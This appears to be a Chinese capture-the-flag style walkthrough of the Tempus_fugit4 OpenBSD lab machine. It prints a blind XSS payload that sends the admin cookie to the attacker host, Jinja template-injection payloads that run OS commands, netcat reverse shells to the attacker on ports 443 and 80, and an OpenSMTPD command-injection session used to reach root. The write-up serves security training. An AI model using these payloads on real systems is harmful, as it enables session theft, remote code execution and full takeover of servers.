从盲打xss到到模板注入:unix靶机渗透之Tempus_fugit4

靶机总结

盲打xss openBSD渗透 SSTI模板注入 opensmtpd

信息搜集

复制代码
nmap -sT --min-rate 10000 192.168.8.253 -p-
复制代码
nmap -sT -sC -sV -O 192.168.8.253 -p22,80 

操作系统竟然是openBSD( 一个注重安全和稳定的多平台类UNIX操作系统 )

复制代码
nmap --script=vuln 192.168.8.253 -p80

发现一个admin目录

盲打xss

发现一个表单申请提交,尝试一下盲打xss盗取管理员的cookie

先启动kali的apache2

打印apche2日志

复制代码
systemctl start apache2
tail -f /var/log/apache2/access.log

注入xsspayload

复制代码
<img src=x onerror="this.src='http://192.168.8.251/?cookie='+document.cookie">

拆解这个 Payload

  <img src=x          ← src=x 是一个故意写错的 URL,浏览器加载失败
       onerror="..."  ← 加载失败时触发 onerror 事件,执行其中的
  JavaScript

  JavaScript 部分:
  this.src = 'http://192.168.8.251/?cookie=' + document.cookie
       ↓
  把 <img> 的 src 改成攻击机地址,并把 cookie 拼接到 URL 后面
       ↓
  浏览器向 http://192.168.8.251/?cookie=session=.eJwsafefew...
  发起请求

  为什么会成功?

  关键点在于 document.cookie 的读取权限:
  - 如果目标 Cookie 没有设置 HttpOnly 标志,JavaScript 可以直接读取
  - HttpOnly 是防御 XSS 窃取 Cookie 的核心机制,但很多应用遗漏此配置
复制代码
.eJwlj0uKAzEQQ-_idRb1s8vOZRp3fUgIJNCdrIa5ewxBO4knpL-y5RHnrVzfxycuZbt7uRYi6N1lsGFIaDoMs1HBskKnBLcp2kz2RhUrGyHxshoP2WFKGArs0yBsqY1whgxwxZZsPDoQI6P3xubqQBSU0kfm7ORdqFyKnUdu79cjnmtP06CuEDxjelS1WnF4ZV3FK1LHJuwoi_uccfxOSPn_AoaTPnc.akcWsQ.QWTix88hO31689Zy-BNIIlCkRZw

抓取数据包替换cookie

替换

成功登录后台

查看管理员访问日志,取到管理员的cookie

复制代码
Auth=R3JhbnRlZA==; 

加上Auth

SSTI模板注入

整了半天,命令窗口无法交互

观察历史数据包,在admin页面似乎有个auth回显

注入点测试

复制代码
{{6*7}}

base64编码一下,果然有回显

注入点配置

复制代码
config

命令注入

复制代码
 {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

命令回显

openBSD反弹shell

但是之前探测到靶机的系统是openBSD

利用msf生成payload (Only 80 and 443 are allowed out the openBSD firewall )

复制代码
msfvenom -p cmd/unix/reverse_netcat lport=443 lhost=192.168.8.251
复制代码
 {{ request.application.__globals__.__builtins__.__import__('os').popen('mkfifo /tmp/aeqtmgv; nc 192.168.8.251 443 0</tmp/aeqtmgv | /bin/sh >/tmp/aeqtmgv 2>&1; rm /tmp/aeqtmgv').read() }}

成功反弹

msf接收shell

提权

opensmtpd提权

复制代码
netstat -ant|grep LISTEN

发现有一个邮件服务,有提权漏洞

payload还需要一个邮箱域名,正好在js文件中泄露了

手工测试漏洞

复制代码
helo test
250 TempusFugit4 Hello test [10.13.37.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@mofo.org>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
From: test@test.com
To: root@mofo.org
Subject: x

0
1
2
3
4
5
6
7
8
9
a
b
c
d
id > /tmp/pwn.txt
.
250 2.0.0 3418f88a Message accepted for delivery
Connection closed by foreign host.

查看回显pwn.txt,说明漏洞存在

反弹shell

复制代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.251 80 >/tmp/f

成功提权

相关推荐
李明卫杭州2 小时前
Vue3 响应式概念 ↔ React 对应方案(类组件与函数组件)对照笔记
前端·vue.js·react.js
windliang2 小时前
Claude Code 源码分析(二):CC 的心脏 queryLoop Agent主循环
前端·ai编程·claude
Revolution612 小时前
reactive 对象重新赋值后,表单为什么没有恢复默认值
前端·vue.js·面试
米饭同学i2 小时前
微信小程序 input maxlength 遇上输入法拼音被截断?这是最完整的解决方案
前端
董员外2 小时前
RAG 系统进化论(二):Naive RAG,检索增强生成的最小闭环
前端·人工智能·后端
脾气有点小暴2 小时前
ECharts 伪 3D 柱状图完整注释 + 实现原理说明
前端·3d·信息可视化·vue·echarts
掘金一周2 小时前
看看大家每月的成本有多少 | 沸点周刊 7.30
前端·人工智能·后端
ji_shuke2 小时前
从零深入:基于 Playwright + Pytest + Allure 的企业级 Web 端到端自动化测试框架实战
前端·自动化测试·docker·jenkins·pytest·allure·playwright
陆枫Larry3 小时前
用 CSS Mask + background-color 给图标「换色」
前端
幼儿园技术家3 小时前
原来不用发版也可以做到版本更新
前端·js or ts